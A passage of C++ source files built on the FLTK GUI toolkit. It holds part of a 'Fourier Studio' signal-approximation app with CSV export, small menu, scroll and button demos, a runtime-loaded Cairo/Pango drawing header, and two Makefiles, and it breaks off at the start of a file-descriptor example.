static void settings_cb(Fl_Widget *, void *data)
{
rebuild(static_cast<App*>(data));
}
static void animate_cb(Fl_Widget *, void *data)
{
App *a = static_cast<App*>(data);
Fl::remove_timeout(animation_tick, a);
if (a->playing)
a->playing = false;
else {
if (a->series.terms() >= a->requested)
begin_series(a);
a->playing = true;
Fl::add_timeout(0.075, animation_tick, a);
}
refresh(a);
}
static void animation_tick(void *data)
{
App *a = static_cast<App*>(data);
if (!a->playing)
return;
if (!a->series.add_harmonic() || a->series.terms() >= a->requested)
a->playing = false;
else
Fl::repeat_timeout(0.075, animation_tick, a);
refresh(a);
}
static void reset_cb(Fl_Widget *, void *data)
{
App *a = static_cast<App*>(data);
a->waveform->value(0);
a->amplitude->value(1.0);
a->phase->value(0.0);
a->harmonics->value(15);
a->samples->value(2);
rebuild(a);
}
static bool write_csv(FILE *file, const fourier::Series &series)
{
if (fprintf(file, "x,target,approximation,error\n") < 0)
return false;
for (int i = 0; i < series.samples(); ++i) {
if (fprintf(file, "%.17g,%.17g,%.17g,%.17g\n", series.x(i),
series.target(i), series.approximation(i),
series.target(i) - series.approximation(i))
< 0)
return false;
}
return true;
}
static void configure_export(Fl_Native_File_Chooser &chooser)
{
chooser.title("Export Fourier samples");
chooser.type(Fl_Native_File_Chooser::BROWSE_SAVE_FILE);
chooser.options(Fl_Native_File_Chooser::SAVEAS_CONFIRM);
chooser.filter("CSV files\t*.csv");
chooser.preset_file("fourier_samples.csv");
char directory[FL_PATH_MAX];
fl_filename_absolute(directory, sizeof(directory), ".");
chooser.directory(directory);
}
static void export_csv(const char *path, const fourier::Series &series)
{
FILE *file = fopen(path, "w");
if (!file) {
fl_alert("Could not open the CSV file for writing.");
return;
}
bool ok = write_csv(file, series);
if (fclose(file) != 0)
ok = false;
if (!ok)
fl_alert("Could not finish writing the CSV file.");
}
static void save_cb(Fl_Widget *, void *data)
{
App *a = static_cast<App*>(data);
// The chooser runs a nested event loop. Export a consistent snapshot.
const fourier::Series snapshot = a->series;
Fl_Native_File_Chooser chooser;
configure_export(chooser);
int result = chooser.show();
if (result == 1)
return;
if (result == -1) {
fl_alert("Could not open the file chooser: %s", chooser.errmsg());
return;
}
export_csv(chooser.filename(), snapshot);
}
static void close_cb(Fl_Widget *widget, void *data)
{
App *a = static_cast<App*>(data);
a->playing = false;
Fl::remove_timeout(animation_tick, a);
widget->hide();
}
static void layout(App &a, int width, int height)
{
a.header->resize(0, 0, width, 90);
a.sidebar->resize(24, 104, ui::sidebar_w, height - 128);
a.save->resize(width - 160, 28, 136, 42);
int content_w = width - ui::content_x - ui::margin;
int metric_w = (content_w - 32) / 3;
a.error->resize(ui::content_x, 104, metric_w, 96);
a.energy->resize(ui::content_x + metric_w + 16, 104, metric_w, 96);
a.terms->resize(ui::content_x + 2 * (metric_w + 16), 104,
content_w - 2 * (metric_w + 16), 96);
int available = height - 212 - ui::margin - 16;
int plot_h = available * 64 / 100;
a.plot->resize(ui::content_x, 212, content_w, plot_h);
a.inspector->resize(ui::content_x, 212 + plot_h + 16, content_w,
available - plot_h);
}
class StudioWindow : public Fl_Double_Window {
App *app_;
public:
StudioWindow()
: Fl_Double_Window(ui::window_w, ui::window_h, "Fourier Studio"),
app_(0)
{
color(ui::canvas);
// All geometry is handled by layout(); do not also scale children.
resizable(0);
size_range(ui::min_w, ui::min_h);
}
void bind(App *a)
{
app_ = a;
layout(*app_, w(), h());
}
void resize(int X, int Y, int W, int H)
{
Fl_Double_Window::resize(X, Y, W, H);
if (app_)
layout(*app_, W, H);
}
};
static void build_amplitude(App &a)
{
a.amplitude = new StudioSlider(268, "Amplitude", 0);
a.amplitude->bounds(0.1, 5.0);
a.amplitude->step(0.05);
a.amplitude->value(1.0);
}
static void build_phase(App &a)
{
a.phase = new StudioSlider(348, "Phase shift", 1);
a.phase->bounds(-180, 180);
a.phase->step(1);
a.phase->value(0);
a.phase->tooltip("Evaluate the waveform at x + phase. "
"Use arrow keys for precise changes.");
}
static void build_harmonics(App &a)
{
a.harmonics = new StudioSlider(428, "Harmonics", 2);
a.harmonics->bounds(1, 100);
a.harmonics->step(1);
a.harmonics->value(15);
a.harmonics->tooltip("Include frequencies 1 through n. "
"Arrow keys change one harmonic at a time.");
}
static void build_sidebar_buttons(App &a)
{
a.animate = new ActionButton(46, 602, 140, 44, "Animate", true);
a.animate->callback(animate_cb, &a);
a.animate->shortcut(' ');
a.animate->tooltip("Build the signal one harmonic at a time. "
"Space starts or pauses the animation.");
a.reset = new ActionButton(194, 602, 68, 44, "Reset", false);
a.reset->callback(reset_cb, &a);
a.reset->shortcut(FL_CTRL + 'r');
a.reset->tooltip("Restore the original square wave settings. Ctrl+R.");
}
static void build_sidebar(App &a)
{
a.header = new Header();
a.sidebar = new Sidebar(&a.series);
a.waveform = new WaveSelector();
build_amplitude(a);
build_phase(a);
build_harmonics(a);
a.samples = new SampleChoice();
a.samples->tooltip("More samples improve the numerical "
"coefficient estimates.");
a.waveform->callback(settings_cb, &a);
a.amplitude->callback(settings_cb, &a);
a.phase->callback(settings_cb, &a);
a.harmonics->callback(settings_cb, &a);
a.samples->callback(settings_cb, &a);
build_sidebar_buttons(a);
a.sidebar->end();
}
static void build_export(App &a)
{
a.save = new ActionButton(0, 28, 136, 42, "Export CSV", false, true);
a.save->callback(save_cb, &a);
a.save->shortcut(FL_CTRL + 'e');
a.save->tooltip("Export the current target, "
"reconstruction and error. Ctrl+E.");
}
static void build_metrics(App &a)
{
a.error = new Metric("RMS ERROR");
a.error->tooltip("Root mean square error, "
"measured at the sampled points.");
a.energy = new Metric("ENERGY CAPTURED");
a.energy->tooltip("Fraction of sampled signal energy "
"explained by the series, including its mean.");
a.terms = new Metric("HARMONICS");
}
static void build_ui(App &a, StudioWindow &win)
{
build_sidebar(a);
build_export(a);
build_metrics(a);
a.plot = new WaveformPlot(&a.series);
a.inspector = new Inspector(&a.series);
win.end();
win.callback(close_cb, &a);
win.bind(&a);
rebuild(&a);
}
#ifndef FOURIER_STUDIO_TEST
int main()
{
Fl::set_font(FL_HELVETICA, " Inter");
Fl::set_font(FL_HELVETICA_BOLD, "BInter");
Fl::scheme("gtk+");
Fl::background(246, 246, 249);
Fl::background2(255, 255, 255);
Fl::foreground(37, 40, 57);
Fl::scrollbar_size(12);
Fl_Tooltip::delay(0.55);
Fl_Tooltip::color(ui::ink);
Fl_Tooltip::textcolor(ui::paper);
Fl_Tooltip::size(12);
App a;
StudioWindow win;
build_ui(a, win);
win.show();
int result = Fl::run();
Fl::remove_timeout(animation_tick, &a);
return result;
}
#endif
menus.cppC++ / 139 lines
#include <stdio.h>
#include <FL/Fl.H>
#include <FL/Fl_Window.H>
#include <FL/Fl_Box.H>
#include <FL/Fl_Menu_.H>
#include <FL/Fl_Menu_Bar.H>
#include <FL/Fl_Menu_Button.H>
#include <FL/Fl_Choice.H>
#include <FL/Fl_Tree.H>
#include <FL/Fl_Tree_Item.H>
enum {
spacing = 20,
menu_h = 30,
row_h = 35,
button_w = 170,
choice_w = 180,
tree_h = 260,
status_h = 40,
win_w = 600,
row_y = menu_h + spacing,
choice_x = win_w - spacing - choice_w,
tree_y = row_y + row_h + spacing,
status_y = tree_y + tree_h + spacing,
win_h = status_y + status_h + spacing
};
static void menu_cb(Fl_Widget *w, void *data)
{
Fl_Menu_ *menu = static_cast<Fl_Menu_*>(w);
Fl_Box *status = static_cast<Fl_Box*>(data);
const Fl_Menu_Item *item = menu->mvalue();
if (item) {
status->copy_label(item->label());
printf("Menu: %s\n", item->label());
}
}
static void quit_cb(Fl_Widget *, void *data)
{
Fl_Window *win = static_cast<Fl_Window*>(data);
win->hide();
}
static void choice_cb(Fl_Widget *w, void *data)
{
Fl_Choice *choice = static_cast<Fl_Choice*>(w);
Fl_Box *status = static_cast<Fl_Box*>(data);
const Fl_Menu_Item *item = choice->mvalue();
if (item) {
status->copy_label(item->label());
printf("Choice: %s\n", item->label());
}
}
static void tree_cb(Fl_Widget *w, void *data)
{
Fl_Tree *tree = static_cast<Fl_Tree*>(w);
Fl_Box *status = static_cast<Fl_Box*>(data);
Fl_Tree_Item *item = tree->callback_item();
if (!item)
return;
const char *action = "Changed";
switch (tree->callback_reason()) {
case FL_TREE_REASON_SELECTED:
action = "Selected";
break;
case FL_TREE_REASON_DESELECTED:
action = "Deselected";
break;
case FL_TREE_REASON_OPENED:
action = "Opened";
break;
case FL_TREE_REASON_CLOSED:
action = "Closed";
break;
default:
break;
}
char text[256];
sprintf(text, "%s: %s", action, item->label());
status->copy_label(text);
puts(text);
}
int main()
{
Fl_Window win(win_w, win_h, "FLTK menu examples");
Fl_Box status(spacing, status_y, win_w - 2 * spacing, status_h, "Ready");
status.box(FL_DOWN_BOX);
status.align(FL_ALIGN_LEFT | FL_ALIGN_INSIDE);
Fl_Menu_Bar bar(0, 0, win_w, menu_h);
bar.add("&File/&Hello");
bar.add("&File/&Quit", FL_CTRL + 'q', quit_cb, &win);
bar.add("&Help/&About");
bar.callback(menu_cb, &status);
Fl_Menu_Button button(spacing, row_y, button_w, row_h, "Actions");
button.add("Show message");
button.add("Reset message");
button.callback(menu_cb, &status);
Fl_Choice choice(choice_x, row_y, choice_w, row_h, "Color:");
choice.add("Red");
choice.add("Green");
choice.add("Blue");
choice.value(0);
choice.callback(choice_cb, &status);
Fl_Tree tree(spacing, tree_y, win_w - 2 * spacing, tree_h);
tree.root_label("Topics");
tree.add("Projects/GUI/FLTK");
tree.add("Projects/GUI/Qt");
tree.add("Projects/CLI");
tree.add("Languages/C++");
tree.add("Languages/Assembly");
tree.callback(tree_cb, &status);
win.end();
win.show();
return Fl::run();
}
scroll.cppC++ / 83 lines
#include <stdio.h>
#include <FL/Fl.H>
#include <FL/Fl_Window.H>
#include <FL/Fl_Box.H>
#include <FL/Fl_Button.H>
#include <FL/Fl_Scroll.H>
#include <FL/Fl_Pack.H>
enum {
spacing = 15,
gap = 8,
title_h = 30,
row_h = 42,
row_count = 15,
scroll_w = 460,
scroll_h = 260,
pack_w = scroll_w + 200,
pack_h = row_count * row_h + (row_count - 1) * gap,
toolbar_h = 45,
toolbar_button_w = 135,
scroll_x = spacing,
scroll_y = spacing + title_h + spacing,
toolbar_y = scroll_y + scroll_h + spacing,
win_w = scroll_w + 2 * spacing,
win_h = toolbar_y + toolbar_h + spacing
};
static void button_cb(Fl_Widget *w, void *)
{
printf("Clicked: %s\n", w->label());
fflush(stdout);
}
int main()
{
Fl_Window win(win_w, win_h, "Fl_Scroll and Fl_Pack");
Fl_Box title(spacing, spacing, scroll_w, title_h,
"Scroll in both directions");
Fl_Scroll scroll(scroll_x, scroll_y, scroll_w, scroll_h);
scroll.box(FL_DOWN_FRAME);
scroll.type(Fl_Scroll::BOTH);
Fl_Pack vertical(scroll_x + gap, scroll_y + gap, pack_w, pack_h);
vertical.type(Fl_Pack::VERTICAL);
vertical.spacing(gap);
for (int i = 0; i < row_count; ++i) {
char label[80];
sprintf(label, "Button %d - Click me!", i + 1);
Fl_Button *button = new Fl_Button(scroll_x + gap, scroll_y + gap,
pack_w, row_h);
button->copy_label(label);
button->callback(button_cb);
}
vertical.end();
scroll.end();
Fl_Pack horizontal(spacing, toolbar_y, scroll_w, toolbar_h);
horizontal.type(Fl_Pack::HORIZONTAL);
horizontal.spacing(gap);
Fl_Button first(spacing, toolbar_y, toolbar_button_w, toolbar_h, "First");
first.callback(button_cb);
Fl_Button second(spacing, toolbar_y, toolbar_button_w, toolbar_h, "Second");
second.callback(button_cb);
Fl_Button third(spacing, toolbar_y, toolbar_button_w, toolbar_h, "Third");
third.callback(button_cb);
horizontal.end();
win.end();
win.show();
return Fl::run();
}
studio_drawing.hC / 539 lines
#ifndef STUDIO_DRAWING_H
#define STUDIO_DRAWING_H
#include <algorithm>
#include <cstring>
#include <cstdlib>
#include <dlfcn.h>
#include <cairo/cairo.h>
#include <cairo/cairo-xlib.h>
#include <FL/x.H>
#include <FL/fl_draw.H>
struct _PangoLayout;
struct _PangoFontDescription;
// The existing Makefile links FLTK. Load the desktop's Cairo/Pango libraries
// at runtime, and retain native drawing if they are unavailable.
namespace drawing {
typedef ::_PangoLayout PangoLayout;
typedef ::_PangoFontDescription PangoFontDescription;
#define LOAD_CAIRO(name) bind(cairo_library_, name, "cairo_" #name)
class Api {
template <class T> bool bind(void *library, T &function, const char *name)
{
void *symbol = dlsym(library, name);
if (!symbol || sizeof(function) != sizeof(symbol))
return false;
std::memcpy(&function, &symbol, sizeof(function));
return true;
}
void *cairo_library_, *pango_library_;
public:
bool ready;
cairo_surface_t *(*xlib_surface_create)(Display *, Drawable, Visual *, int,
int);
void (*surface_destroy)(cairo_surface_t *);
void (*surface_flush)(cairo_surface_t *);
void (*surface_mark_dirty)(cairo_surface_t *);
cairo_status_t (*surface_status)(cairo_surface_t *);
cairo_t *(*create)(cairo_surface_t *);
void (*destroy)(cairo_t *);
void (*save)(cairo_t *);
void (*restore)(cairo_t *);
void (*rectangle)(cairo_t *, double, double, double, double);
void (*clip)(cairo_t *);
void (*new_path)(cairo_t *);
void (*move_to)(cairo_t *, double, double);
void (*line_to)(cairo_t *, double, double);
void (*curve_to)(cairo_t *, double, double, double, double, double, double);
void (*close_path)(cairo_t *);
void (*arc)(cairo_t *, double, double, double, double, double);
void (*translate)(cairo_t *, double, double);
void (*scale)(cairo_t *, double, double);
void (*set_source_rgb)(cairo_t *, double, double, double);
void (*set_line_width)(cairo_t *, double);
void (*set_line_cap)(cairo_t *, cairo_line_cap_t);
void (*set_line_join)(cairo_t *, cairo_line_join_t);
void (*set_dash)(cairo_t *, const double *, int, double);
void (*fill)(cairo_t *);
void (*stroke)(cairo_t *);
void (*set_antialias)(cairo_t *, cairo_antialias_t);
void (*set_fill_rule)(cairo_t *, cairo_fill_rule_t);
cairo_font_options_t *(*font_options_create)();
void (*font_options_destroy)(cairo_font_options_t *);
void (*font_options_set_antialias)(cairo_font_options_t *,
cairo_antialias_t);
void (*font_options_set_hint_style)(cairo_font_options_t *,
cairo_hint_style_t);
void (*font_options_set_hint_metrics)(cairo_font_options_t *,
cairo_hint_metrics_t);
void (*set_font_options)(cairo_t *, const cairo_font_options_t *);
PangoLayout *(*create_layout)(cairo_t *);
void (*layout_set_text)(PangoLayout *, const char *, int);
void (*layout_set_font_description)(PangoLayout *,
const PangoFontDescription *);
void (*layout_get_size)(PangoLayout *, int *, int *);
int (*layout_get_baseline)(PangoLayout *);
PangoFontDescription *(*font_description_new)();
void (*font_description_free)(PangoFontDescription *);
void (*font_description_set_family)(PangoFontDescription *, const char *);
void (*font_description_set_weight)(PangoFontDescription *, int);
void (*font_description_set_absolute_size)(PangoFontDescription *, double);
void (*show_layout)(cairo_t *, PangoLayout *);
void (*object_unref)(void *);
private:
bool load_surface_functions()
{
return LOAD_CAIRO(xlib_surface_create) && LOAD_CAIRO(surface_destroy)
&& LOAD_CAIRO(surface_flush) && LOAD_CAIRO(surface_mark_dirty)
&& LOAD_CAIRO(surface_status);
}
bool load_path_functions()
{
return LOAD_CAIRO(create) && LOAD_CAIRO(destroy) && LOAD_CAIRO(save)
&& LOAD_CAIRO(restore) && LOAD_CAIRO(rectangle)
&& LOAD_CAIRO(clip) && LOAD_CAIRO(new_path)
&& LOAD_CAIRO(move_to) && LOAD_CAIRO(line_to)
&& LOAD_CAIRO(curve_to) && LOAD_CAIRO(close_path);
}
bool load_paint_functions()
{
return LOAD_CAIRO(arc) && LOAD_CAIRO(translate) && LOAD_CAIRO(scale)
&& LOAD_CAIRO(set_source_rgb) && LOAD_CAIRO(set_line_width)
&& LOAD_CAIRO(set_line_cap) && LOAD_CAIRO(set_line_join)
&& LOAD_CAIRO(set_dash) && LOAD_CAIRO(fill) && LOAD_CAIRO(stroke)
&& LOAD_CAIRO(set_antialias) && LOAD_CAIRO(set_fill_rule);
}
bool load_font_options()
{
return LOAD_CAIRO(font_options_create)
&& LOAD_CAIRO(font_options_destroy)
&& LOAD_CAIRO(font_options_set_antialias)
&& LOAD_CAIRO(font_options_set_hint_style)
&& LOAD_CAIRO(font_options_set_hint_metrics)
&& LOAD_CAIRO(set_font_options);
}
bool load_layout_functions()
{
return bind(pango_library_, create_layout, "pango_cairo_create_layout")
&& bind(pango_library_, layout_set_text, "pango_layout_set_text")
&& bind(pango_library_, layout_set_font_description,
"pango_layout_set_font_description")
&& bind(pango_library_, layout_get_size, "pango_layout_get_size")
&& bind(pango_library_, layout_get_baseline,
"pango_layout_get_baseline");
}
bool load_font_functions()
{
return bind(pango_library_, font_description_new,
"pango_font_description_new")
&& bind(pango_library_, font_description_free,
"pango_font_description_free")
&& bind(pango_library_, font_description_set_family,
"pango_font_description_set_family")
&& bind(pango_library_, font_description_set_weight,
"pango_font_description_set_weight")
&& bind(pango_library_, font_description_set_absolute_size,
"pango_font_description_set_absolute_size")
&& bind(pango_library_, show_layout, "pango_cairo_show_layout")
&& bind(pango_library_, object_unref, "g_object_unref");
}
public:
Api() : cairo_library_(0), pango_library_(0), ready(false)
{
if (std::getenv("FOURIER_STUDIO_NATIVE_RENDER"))
return;
cairo_library_ = dlopen("libcairo.so.2", RTLD_NOW | RTLD_LOCAL);
pango_library_ =
dlopen("libpangocairo-1.0.so.0", RTLD_NOW | RTLD_LOCAL);
if (!cairo_library_ || !pango_library_)
return;
ready = load_surface_functions() && load_path_functions()
&& load_paint_functions() && load_font_options()
&& load_layout_functions() && load_font_functions();
}
~Api()
{
if (pango_library_)
dlclose(pango_library_);
if (cairo_library_)
dlclose(cairo_library_);
}
};
#undef LOAD_CAIRO
inline Api &api()
{
static Api instance;
return instance;
}
class Scope;
static Scope *current = 0;
class Scope {
Scope *previous_;
Scope(const Scope &);
Scope &operator=(const Scope &);
public:
cairo_surface_t *surface;
cairo_t *context;
PangoLayout *layout;
PangoFontDescription *font;
double width;
bool first_vertex;
private:
bool initialize_surface(Fl_Widget *widget)
{
if (!api().ready || !fl_display || !fl_window || !widget->window())
return false;
surface = api().xlib_surface_create(
fl_display, fl_window, fl_visual->visual, widget->window()->w(),
widget->window()->h());
return api().surface_status(surface) == CAIRO_STATUS_SUCCESS;
}
void clip_widget(Fl_Widget *widget)
{
// Preserve FLTK's current damage/parent clip.
int X, Y, W, H;
::fl_clip_box(widget->x(), widget->y(), widget->w(), widget->h(), X, Y,
W, H);
api().rectangle(context, X, Y, W, H);
api().clip(context);
}
void configure_font_options()
{
cairo_font_options_t *options = api().font_options_create();
api().font_options_set_antialias(options, CAIRO_ANTIALIAS_GRAY);
api().font_options_set_hint_style(options, CAIRO_HINT_STYLE_SLIGHT);
api().font_options_set_hint_metrics(options, CAIRO_HINT_METRICS_OFF);
api().set_font_options(context, options);
api().font_options_destroy(options);
}
void initialize_context(Fl_Widget *widget)
{
context = api().create(surface);
api().set_antialias(context, CAIRO_ANTIALIAS_BEST);
api().set_line_width(context, 1.0);
api().set_line_cap(context, CAIRO_LINE_CAP_ROUND);
api().set_line_join(context, CAIRO_LINE_JOIN_ROUND);
clip_widget(widget);
configure_font_options();
}
void initialize_layout()
{
layout = api().create_layout(context);
font = api().font_description_new();
api().font_description_set_family(font, "Inter");
api().font_description_set_weight(font, 400);
api().font_description_set_absolute_size(font, 13.0 * 1024);
api().layout_set_font_description(layout, font);
}
public:
Scope(Fl_Widget *widget)
: previous_(current), surface(0), context(0), layout(0), font(0),
width(1.0), first_vertex(true)
{
if (previous_ && previous_->surface)
api().surface_flush(previous_->surface);
current = this;
if (!initialize_surface(widget))
return;
initialize_context(widget);
initialize_layout();
}
~Scope()
{
if (layout)
api().object_unref(layout);
if (font)
api().font_description_free(font);
if (surface)
api().surface_flush(surface);
if (context)
api().destroy(context);
if (surface)
api().surface_destroy(surface);
current = previous_;
// Native children (e.g. table scrollbars) may have drawn to the same
// drawable.
if (current && current->surface)
api().surface_mark_dirty(current->surface);
}
};
inline bool active() { return current && current->context; }
inline cairo_t *context() { return current->context; }
inline void flush()
{
if (active())
api().surface_flush(current->surface);
}
inline void color(Fl_Color c)
{
::fl_color(c);
if (!active())
return;
unsigned char r, g, b;
Fl::get_color(c, r, g, b);
api().set_source_rgb(context(), r / 255.0, g / 255.0, b / 255.0);
}
inline void font(Fl_Font f, int size)
{
::fl_font(f, size);
if (!active())
return;
api().font_description_set_weight(current->font,
f == FL_HELVETICA_BOLD ? 600 : 400);
api().font_description_set_absolute_size(current->font, size * 1024.0);
api().layout_set_font_description(current->layout, current->font);
}
inline void draw(const char *text, double x, double baseline)
{
if (!active()) {
::fl_draw(text, static_cast<int>(x), static_cast<int>(baseline));
return;
}
api().layout_set_text(current->layout, text, -1);
double ascent = api().layout_get_baseline(current->layout) / 1024.0;
api().move_to(context(), x, baseline - ascent);
api().show_layout(context(), current->layout);
}
inline void draw(const char *text, int x, int y, int w, int h, Fl_Align align)
{
if (!active()) {
::fl_draw(text, x, y, w, h, align);
return;
}
api().layout_set_text(current->layout, text, -1);
int width, height;
api().layout_get_size(current->layout, &width, &height);
double W = width / 1024.0, H = height / 1024.0;
double X = align & FL_ALIGN_LEFT
? x
: (align & FL_ALIGN_RIGHT ? x + w - W : x + (w - W) / 2.0);
double Y = align & FL_ALIGN_TOP
? y
: (align & FL_ALIGN_BOTTOM ? y + h - H : y + (h - H) / 2.0);
api().move_to(context(), X, Y);
api().show_layout(context(), current->layout);
}
inline void rectf(int x, int y, int w, int h)
{
if (!active()) {
::fl_rectf(x, y, w, h);
return;
}
api().rectangle(context(), x, y, w, h);
api().fill(context());
}
inline void native_round_rect(int x, int y, int w, int h, int r)
{
::fl_rectf(x + r, y, w - 2 * r, h);
::fl_rectf(x, y + r, w, h - 2 * r);
::fl_pie(x, y, 2 * r, 2 * r, 0, 360);
::fl_pie(x + w - 2 * r, y, 2 * r, 2 * r, 0, 360);
::fl_pie(x, y + h - 2 * r, 2 * r, 2 * r, 0, 360);
::fl_pie(x + w - 2 * r, y + h - 2 * r, 2 * r, 2 * r, 0, 360);
}
inline void rounded_path(int x, int y, int w, int h, int r)
{
double k = r * 0.5522847498307936;
api().new_path(context());
api().move_to(context(), x + r, y);
api().line_to(context(), x + w - r, y);
api().curve_to(context(), x + w - r + k, y, x + w, y + r - k, x + w, y + r);
api().line_to(context(), x + w, y + h - r);
api().curve_to(context(), x + w, y + h - r + k, x + w - r + k, y + h,
x + w - r, y + h);
api().line_to(context(), x + r, y + h);
api().curve_to(context(), x + r - k, y + h, x, y + h - r + k, x, y + h - r);
api().line_to(context(), x, y + r);
api().curve_to(context(), x, y + r - k, x + r - k, y, x + r, y);
api().close_path(context());
}
inline void round_rect(int x, int y, int w, int h, int r, Fl_Color c)
{
color(c);
if (w <= 0 || h <= 0)
return;
r = std::min(r, std::min(w, h) / 2);
if (!active()) {
native_round_rect(x, y, w, h, r);
return;
}
rounded_path(x, y, w, h, r);
api().fill(context());
}
inline void pie(int x, int y, int w, int h, double start, double end)
{
if (!active()) {
::fl_pie(x, y, w, h, start, end);
return;
}
api().new_path(context());
api().save(context());
api().translate(context(), x + w / 2.0, y + h / 2.0);
api().scale(context(), w / 2.0, h / 2.0);
api().arc(context(), 0, 0, 1, start * 0.0174532925199433,
end * 0.0174532925199433);
api().restore(context());
api().fill(context());
}
inline void line_style(int style, int width = 0)
{
::fl_line_style(style, width);
if (!active())
return;
current->width = width ? width : 1;
api().set_line_width(context(), current->width);
double dashed[] = { 4, 3 }, dotted[] = { 1, 3 };
if ((style & 255) == FL_DASH)
api().set_dash(context(), dashed, 2, 0);
else if ((style & 255) == FL_DOT)
api().set_dash(context(), dotted, 2, 0);
else
api().set_dash(context(), 0, 0, 0);
}
inline void line(double x1, double y1, double x2, double y2)
{
if (!active()) {
::fl_line(static_cast<int>(x1), static_cast<int>(y1),
static_cast<int>(x2), static_cast<int>(y2));
return;
}
double snap = current->width == 1.0 ? 0.5 : 0.0;
api().new_path(context());
api().move_to(context(), x1 + snap, y1 + snap);
api().line_to(context(), x2 + snap, y2 + snap);
api().stroke(context());
}
inline void line(int x1, int y1, int x2, int y2, int x3, int y3)
{
if (!active()) {
::fl_line(x1, y1, x2, y2, x3, y3);
return;
}
double snap = current->width == 1.0 ? 0.5 : 0.0;
api().new_path(context());
api().move_to(context(), x1 + snap, y1 + snap);
api().line_to(context(), x2 + snap, y2 + snap);
api().line_to(context(), x3 + snap, y3 + snap);
api().stroke(context());
}
inline void polygon(int x1, int y1, int x2, int y2, int x3, int y3)
{
if (!active()) {
::fl_polygon(x1, y1, x2, y2, x3, y3);
return;
}
api().new_path(context());
api().move_to(context(), x1, y1);
api().line_to(context(), x2, y2);
api().line_to(context(), x3, y3);
api().close_path(context());
api().fill(context());
}
inline void push_clip(int x, int y, int w, int h)
{
::fl_push_clip(x, y, w, h);
if (!active())
return;
api().save(context());
api().rectangle(context(), x, y, w, h);
api().clip(context());
}
inline void pop_clip()
{
if (active())
api().restore(context());
::fl_pop_clip();
}
inline void begin_line()
{
if (!active()) {
::fl_begin_line();
return;
}
api().new_path(context());
current->first_vertex = true;
}
inline void vertex(double x, double y)
{
if (!active()) {
::fl_vertex(x, y);
return;
}
if (current->first_vertex)
api().move_to(context(), x, y);
else
api().line_to(context(), x, y);
current->first_vertex = false;
}
inline void end_line()
{
if (!active()) {
::fl_end_line();
return;
}
api().stroke(context());
}
inline void begin_complex_polygon()
{
if (!active()) {
::fl_begin_complex_polygon();
return;
}
begin_line();
}
inline void end_complex_polygon()
{
if (!active()) {
::fl_end_complex_polygon();
return;
}
api().close_path(context());
api().set_fill_rule(context(), CAIRO_FILL_RULE_EVEN_ODD);
api().fill(context());
api().set_fill_rule(context(), CAIRO_FILL_RULE_WINDING);
}
} // namespace drawing
#endif
10 (10-11)
MakefileMake / 13 lines
FLTK_DIR = $(HOME)/.app/fltk-1.3.11
CPPFLAGS = -I$(FLTK_DIR)
CXXFLAGS = -g -Wall -O0 -ansi -pedantic
LDFLAGS = -L$(FLTK_DIR)/lib
LDLIBS = $(shell $(FLTK_DIR)/fltk-config --ldflags)
PROGS = $(basename $(wildcard *.cpp))
all: $(PROGS)
clean:
rm -f *.o $(PROGS)
buttons.cppC++ / 60 lines
#include <FL/Fl.H>
#include <FL/Fl_Window.H>
#include <FL/Fl_Button.H>
class OOFLButton : public Fl_Button {
public:
OOFLButton(int x, int y, int w, int h, const char *lb = 0)
: Fl_Button(x, y, w, h, lb)
{ callback(CallbackFunction, 0); }
virtual ~OOFLButton() {}
virtual void OnPress() {}
private:
static void CallbackFunction(Fl_Widget *w, void *user)
{ static_cast<OOFLButton*>(w)->OnPress(); }
};
enum {
spacing = 5,
button_w = 200,
button_h = 40,
font_size = 20,
num_buttons = 3
};
class ButtonCommon : public OOFLButton {
public:
ButtonCommon(int y, const char *lb)
: OOFLButton(spacing, y, button_w, button_h, lb)
{ labelsize(font_size); }
};
class SayButton : public ButtonCommon {
const char *msg;
public:
SayButton(int y, const char *lb, const char *amsg)
: ButtonCommon(y, lb), msg(amsg) {}
virtual void OnPress() { printf("%s\n", msg); }
};
class ExitButton : public ButtonCommon {
public:
ExitButton(int y): ButtonCommon(y, "Quit") {}
virtual void OnPress() { exit(0); }
};
int main()
{
int win_w = button_w + 2 * spacing;
int win_h = num_buttons * (spacing + button_h) + spacing;
Fl_Window win(win_w, win_h, "buttons demo");
new SayButton(spacing, "Say hello", "Hello, world!");
new SayButton(2 * spacing + button_h, "Say goodbye",
"Goodbye, world!");
new ExitButton(3 * spacing + 2 * button_h);
win.end();
win.show();
return Fl::run();
}
buttons1.cppC++ / 70 lines
#include <FL/Fl.H>
#include <FL/Fl_Window.H>
#include <FL/Fl_Button.H>
class OOFLButton : public Fl_Button {
public:
OOFLButton(int x, int y, int w, int h, const char *lb = 0)
: Fl_Button(x, y, w, h, lb)
{ callback(CallbackFunction, 0); }
virtual ~OOFLButton() {}
virtual void OnPress() {}
private:
static void CallbackFunction(Fl_Widget *w, void *user)
{ static_cast<OOFLButton*>(w)->OnPress(); }
};
enum {
spacing = 5,
button_w = 200,
button_h = 40,
font_size = 20,
num_buttons = 3
};
class ButtonCommon : public OOFLButton {
public:
ButtonCommon(int y, const char *lb)
: OOFLButton(spacing, y, button_w, button_h, lb)
{ labelsize(font_size); }
};
class SayButton : public ButtonCommon {
const char *msg;
public:
SayButton(int y, const char *lb, const char *amsg)
: ButtonCommon(y, lb), msg(amsg) {}
virtual void OnPress() { printf("%s\n", msg); }
};
class ExitButton : public ButtonCommon {
public:
ExitButton(int y): ButtonCommon(y, "Quit") {}
virtual void OnPress()
{
Fl_Widget *w = this;
Fl_Widget *p;
do {
p = w->parent();
if (p)
w = p;
} while(p);
w->hide();
}
};
int main()
{
int win_w = button_w + 2 * spacing;
int win_h = num_buttons * (spacing + button_h) + spacing;
Fl_Window win(win_w, win_h, "buttons demo");
new SayButton(spacing, "Say hello", "Hello, world!");
new SayButton(2 * spacing + button_h, "Say goodbye",
"Goodbye, world!");
new ExitButton(3 * spacing + 2 * button_h);
win.end();
win.show();
return Fl::run();
}
11 (10-11)
MakefileMake / 13 lines
FLTK_DIR = $(HOME)/.app/fltk-1.3.11
CPPFLAGS = -I$(FLTK_DIR)
CXXFLAGS = -g -Wall -O0 -ansi -pedantic
LDFLAGS = -L$(FLTK_DIR)/lib
LDLIBS = $(shell $(FLTK_DIR)/fltk-config --ldflags)
PROGS = $(basename $(wildcard *.cpp))
all: $(PROGS)
clean:
rm -f *.o $(PROGS)
fltk_fd1.cppC++ / 90 lines
#include <cstdio>
#include <unistd.h>
#include <FL/Fl.H>
#include <FL/Fl_Window.H>
#include <FL/Fl_Box.H>
#include <FL/Fl_Button.H>
struct App {
Fl_Window *window;
Fl_Box *timer;
Fl_Box *input;
int seconds;
};
// Called when standard input becomes readable.
static void input_cb(int fd, void *data)
{
